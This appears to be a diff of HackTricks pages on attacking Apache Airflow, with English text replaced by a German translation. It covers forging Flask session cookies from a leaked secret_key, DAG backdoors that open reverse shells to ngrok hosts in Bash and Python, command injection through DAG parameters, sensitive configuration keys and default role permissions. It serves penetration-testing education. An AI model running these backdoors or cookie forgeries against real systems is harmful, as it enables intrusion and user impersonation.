Wenn die Konfiguration **`expose_config`** auf **True** gesetzt ist, können Benutzer ab der **Rolle Benutzer** und **darüber** die **Konfiguration im Web** **lesen**. In dieser Konfiguration erscheint der **`secret_key`**, was bedeutet, dass jeder Benutzer mit diesem gültigen Schlüssel **seinen eigenen signierten Cookie erstellen kann, um sich als ein anderer Benutzeraccount auszugeben**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG-Hintertür (RCE im Airflow-Worker)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
Wenn Sie **Schreibzugriff** auf den Ort haben, an dem die **DAGs gespeichert sind**, können Sie einfach **eine erstellen**, die Ihnen eine **Reverse-Shell** sendet.\
|
||||
Beachten Sie, dass diese Reverse-Shell innerhalb eines **Airflow-Worker-Containers** ausgeführt wird:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -105,75 +100,66 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Backdoor (RCE im Airflow-Scheduler)
|
||||
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
Wenn Sie etwas auf **der Wurzel des Codes ausführen** lassen, wird es zum Zeitpunkt des Schreibens **vom Scheduler ausgeführt**, nachdem es ein paar Sekunden lang im DAG-Ordner platziert wurde.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG-Erstellung
|
||||
|
||||
#### DAG Creation
|
||||
Wenn es Ihnen gelingt, **eine Maschine im DAG-Cluster zu kompromittieren**, können Sie neue **DAG-Skripte** im Ordner `dags/` erstellen, und sie werden **in den restlichen Maschinen** im DAG-Cluster **repliziert**.
|
||||
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
#### DAG-Code-Injektion
|
||||
|
||||
#### DAG Code Injection
|
||||
Wenn Sie einen DAG über die GUI ausführen, können Sie **Argumente** an ihn **übergeben**.\
|
||||
Daher könnte der DAG, wenn er nicht ordnungsgemäß codiert ist, **anfällig für Command Injection** sein.\
|
||||
Das ist, was in diesem CVE passiert ist: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
Alles, was Sie wissen müssen, um **nach Command Injections in DAGs zu suchen**, ist, dass **Parameter** mit dem Code **`dag_run.conf.get("param_name")`** **zugegriffen** werden.
|
||||
|
||||
Darüber hinaus könnte die gleiche Verwundbarkeit auch bei **Variablen** auftreten (beachten Sie, dass Sie mit ausreichenden Rechten **den Wert der Variablen** in der GUI **steuern** könnten). Variablen werden **mit** zugegriffen:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
Wenn sie beispielsweise innerhalb eines Bash-Befehls verwendet werden, könnten Sie eine Befehlsinjektion durchführen.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,115 +1,105 @@
|
||||
# Airflow Configuration
|
||||
# Airflow-Konfiguration
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Configuration File
|
||||
## Konfigurationsdatei
|
||||
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
**Apache Airflow** generiert eine **Konfigurationsdatei** auf allen Airflow-Maschinen namens **`airflow.cfg`** im Home-Verzeichnis des Airflow-Benutzers. Diese Konfigurationsdatei enthält Konfigurationsinformationen und **kann interessante und sensible Informationen enthalten.**
|
||||
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
**Es gibt zwei Möglichkeiten, auf diese Datei zuzugreifen: Indem man eine Airflow-Maschine kompromittiert oder auf die Webkonsole zugreift.**
|
||||
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Beachten Sie, dass die **Werte in der Konfigurationsdatei** **nicht die verwendeten sein müssen**, da Sie sie überschreiben können, indem Sie Umgebungsvariablen wie `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` setzen.
|
||||
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
Wenn Sie Zugriff auf die **Konfigurationsdatei im Webserver** haben, können Sie die **tatsächliche laufende Konfiguration** auf derselben Seite überprüfen, auf der die Konfiguration angezeigt wird.\
|
||||
Wenn Sie **Zugriff auf eine Maschine innerhalb der Airflow-Umgebung** haben, überprüfen Sie die **Umgebung**.
|
||||
|
||||
Some interesting values to check when reading the config file:
|
||||
Einige interessante Werte, die Sie beim Lesen der Konfigurationsdatei überprüfen sollten:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
- **`access_control_allow_headers`**: Dies gibt die **erlaubten** **Header** für **CORS** an.
|
||||
- **`access_control_allow_methods`**: Dies gibt die **erlaubten Methoden** für **CORS** an.
|
||||
- **`access_control_allow_origins`**: Dies gibt die **erlaubten Ursprünge** für **CORS** an.
|
||||
- **`auth_backend`**: [**Laut den Dokumenten**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) können einige Optionen vorhanden sein, um zu konfigurieren, wer auf die API zugreifen kann:
|
||||
- `airflow.api.auth.backend.deny_all`: **Standardmäßig kann niemand** auf die API zugreifen.
|
||||
- `airflow.api.auth.backend.default`: **Jeder kann** ohne Authentifizierung darauf zugreifen.
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Um **Kerberos-Authentifizierung** zu konfigurieren.
|
||||
- `airflow.api.auth.backend.basic_auth`: Für **Basis-Authentifizierung**.
|
||||
- `airflow.composer.api.backend.composer_auth`: Verwendet die Authentifizierung von Composern (GCP) (von [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Dies gibt die **Rolle** an, die der **Composer-Benutzer** innerhalb von **Airflow** erhält (**Op** standardmäßig).
|
||||
- Sie können auch eine **eigene Authentifizierung**-Methode mit Python erstellen.
|
||||
- **`google_key_path`:** Pfad zum **GCP-Dienstkonto-Schlüssel**.
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
- **`password`**: Atlas-Passwort
|
||||
- **`username`**: Atlas-Benutzername
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
- **`flower_basic_auth`** : Anmeldeinformationen (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres-URL, die **Anmeldeinformationen** enthalten kann.
|
||||
- **`ssl_cacert`**: Pfad zum cacert
|
||||
- **`ssl_cert`**: Pfad zum Zertifikat
|
||||
- **`ssl_key`**: Pfad zum Schlüssel
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
- **`dag_discovery_safe_mode`**: Standardmäßig aktiviert. Beim Entdecken von DAGs werden alle Dateien ignoriert, die nicht die Zeichenfolgen `DAG` und `airflow` enthalten.
|
||||
- **`fernet_key`**: Schlüssel zum Speichern von verschlüsselten Variablen (symmetrisch).
|
||||
- **`hide_sensitive_var_conn_fields`**: Standardmäßig aktiviert, verbirgt sensible Informationen zu Verbindungen.
|
||||
- **`security`**: Welches Sicherheitsmodul verwendet werden soll (zum Beispiel Kerberos).
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
- **`tls_ca`**: Pfad zur CA
|
||||
- **`tls_cert`**: Pfad zum Zertifikat
|
||||
- **`tls_key`**: Pfad zum TLS-Schlüssel
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
- **`ccache`**: Pfad zur ccache-Datei
|
||||
- **`forwardable`**: Standardmäßig aktiviert
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
- **`google_key_path`**: Pfad zu GCP JSON-Anmeldeinformationen.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
- **`backend`**: Vollständiger Klassenname des Secrets-Backends, das aktiviert werden soll.
|
||||
- **`backend_kwargs`**: Der Parameter backend_kwargs wird in ein Wörterbuch geladen und an **init** der Secrets-Backend-Klasse übergeben.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
- **`smtp_password`**: SMTP-Passwort
|
||||
- **`smtp_user`**: SMTP-Benutzer
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
- **`cookie_samesite`**: Standardmäßig ist es **Lax**, also ist es bereits der schwächste mögliche Wert.
|
||||
- **`cookie_secure`**: Setzt das **sichere Flag** für das Sitzungscookie.
|
||||
- **`expose_config`**: Standardmäßig ist es False, wenn es wahr ist, kann die **Konfiguration** von der Web-**Konsole** **gelesen** werden.
|
||||
- **`expose_stacktrace`**: Standardmäßig ist es True, es zeigt **Python-Tracebacks** an (potenziell nützlich für einen Angreifer).
|
||||
- **`secret_key`**: Dies ist der **Schlüssel, der von Flask verwendet wird, um die Cookies zu signieren** (wenn Sie dies haben, können Sie **jeden Benutzer in Airflow impersonieren**).
|
||||
- **`web_server_ssl_cert`**: **Pfad** zum **SSL**-**Zertifikat**.
|
||||
- **`web_server_ssl_key`**: **Pfad** zum **SSL**-**Schlüssel**.
|
||||
- **`x_frame_enabled`**: Standard ist **True**, sodass standardmäßig Clickjacking nicht möglich ist.
|
||||
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
### Web-Authentifizierung
|
||||
|
||||
Standardmäßig ist die **Web-Authentifizierung** in der Datei **`webserver_config.py`** angegeben und konfiguriert als
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
Was bedeutet, dass die **Authentifizierung gegen die Datenbank überprüft wird**. Andere Konfigurationen sind jedoch möglich, wie
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Um die **Authentifizierung an Drittanbieterdienste** zu übergeben.
|
||||
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
Es gibt jedoch auch eine Option, um **anonymen Benutzern den Zugriff zu erlauben**, indem der folgende Parameter auf die **gewünschte Rolle** gesetzt wird:
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,44 +4,40 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
(Von den Dokumenten)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow wird mit einem **Standardset von Rollen** ausgeliefert: **Admin**, **User**, **Op**, **Viewer** und **Public**. **Nur `Admin`**-Benutzer können **die Berechtigungen für andere Rollen konfigurieren/ändern**. Es wird jedoch nicht empfohlen, dass `Admin`-Benutzer diese Standardrollen in irgendeiner Weise ändern, indem sie Berechtigungen für diese Rollen entfernen oder hinzufügen.
|
||||
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
- **`Admin`**-Benutzer haben alle möglichen Berechtigungen.
|
||||
- **`Public`**-Benutzer (anonym) haben keine Berechtigungen.
|
||||
- **`Viewer`**-Benutzer haben eingeschränkte Ansichtsberechtigungen (nur lesen). Er **kann die Konfiguration nicht sehen.**
|
||||
- **`User`**-Benutzer haben `Viewer`-Berechtigungen plus zusätzliche Benutzerberechtigungen, die es ihm ermöglichen, DAGs ein wenig zu verwalten. Er **kann die Konfigurationsdatei sehen.**
|
||||
- **`Op`**-Benutzer haben `User`-Berechtigungen plus zusätzliche Betriebsberechtigungen.
|
||||
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
Beachten Sie, dass **Admin**-Benutzer **weitere Rollen** mit **detaillierteren Berechtigungen** erstellen können.
|
||||
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
Beachten Sie auch, dass die einzige Standardrolle mit **Berechtigung zur Auflistung von Benutzern und Rollen Admin ist, nicht einmal Op** wird in der Lage sein, dies zu tun.
|
||||
|
||||
### Default Permissions
|
||||
### Standardberechtigungen
|
||||
|
||||
These are the default permissions per default role:
|
||||
Dies sind die Standardberechtigungen pro Standardrolle:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
\[kann löschen auf Connections, kann lesen auf Connections, kann bearbeiten auf Connections, kann erstellen auf Connections, kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann löschen auf Pools, kann lesen auf Pools, kann bearbeiten auf Pools, kann erstellen auf Pools, kann lesen auf Providers, kann löschen auf Variables, kann lesen auf Variables, kann bearbeiten auf Variables, kann erstellen auf Variables, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Configurations, kann lesen auf Plugins, kann lesen auf Roles, kann lesen auf Permissions, kann löschen auf Roles, kann bearbeiten auf Roles, kann erstellen auf Roles, kann lesen auf Users, kann erstellen auf Users, kann bearbeiten auf Users, kann löschen auf Users, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances, Menüzugang auf Admin, Menüzugang auf Configurations, Menüzugang auf Connections, Menüzugang auf Pools, Menüzugang auf Variables, Menüzugang auf XComs, kann löschen auf XComs, kann lesen auf Task Reschedules, Menüzugang auf Task Reschedules, kann lesen auf Triggers, Menüzugang auf Triggers, kann lesen auf Passwords, kann bearbeiten auf Passwords, Menüzugang auf List Users, Menüzugang auf Security, Menüzugang auf List Roles, kann lesen auf User Stats Chart, Menüzugang auf User's Statistics, Menüzugang auf Base Permissions, kann lesen auf View Menus, Menüzugang auf Views/Menus, kann lesen auf Permission Views, Menüzugang auf Permission on Views/Menus, kann erhalten auf MenuApi, Menüzugang auf Providers, kann erstellen auf XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
\[kann löschen auf Connections, kann lesen auf Connections, kann bearbeiten auf Connections, kann erstellen auf Connections, kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann löschen auf Pools, kann lesen auf Pools, kann bearbeiten auf Pools, kann erstellen auf Pools, kann lesen auf Providers, kann löschen auf Variables, kann lesen auf Variables, kann bearbeiten auf Variables, kann erstellen auf Variables, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Configurations, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances, Menüzugang auf Admin, Menüzugang auf Configurations, Menüzugang auf Connections, Menüzugang auf Pools, Menüzugang auf Variables, Menüzugang auf XComs, kann löschen auf XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
\[kann lesen auf DAGs, kann bearbeiten auf DAGs, kann löschen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann bearbeiten auf Task Instances, kann löschen auf DAG Runs, kann erstellen auf DAG Runs, kann bearbeiten auf DAG Runs, kann lesen auf Audit Logs, kann lesen auf ImportError, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances, kann erstellen auf Task Instances, kann löschen auf Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
\[kann lesen auf DAGs, kann lesen auf DAG Runs, kann lesen auf Task Instances, kann lesen auf Audit Logs, kann lesen auf ImportError, kann lesen auf XComs, kann lesen auf DAG Code, kann lesen auf Plugins, kann lesen auf DAG Dependencies, kann lesen auf Jobs, kann lesen auf My Password, kann bearbeiten auf My Password, kann lesen auf My Profile, kann bearbeiten auf My Profile, kann lesen auf SLA Misses, kann lesen auf Task Logs, kann lesen auf Website, Menüzugang auf Browse, Menüzugang auf DAG Dependencies, Menüzugang auf DAG Runs, Menüzugang auf Documentation, Menüzugang auf Docs, Menüzugang auf Jobs, Menüzugang auf Audit Logs, Menüzugang auf Plugins, Menüzugang auf SLA Misses, Menüzugang auf Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,111 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Basic Information
|
||||
### Grundinformationen
|
||||
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
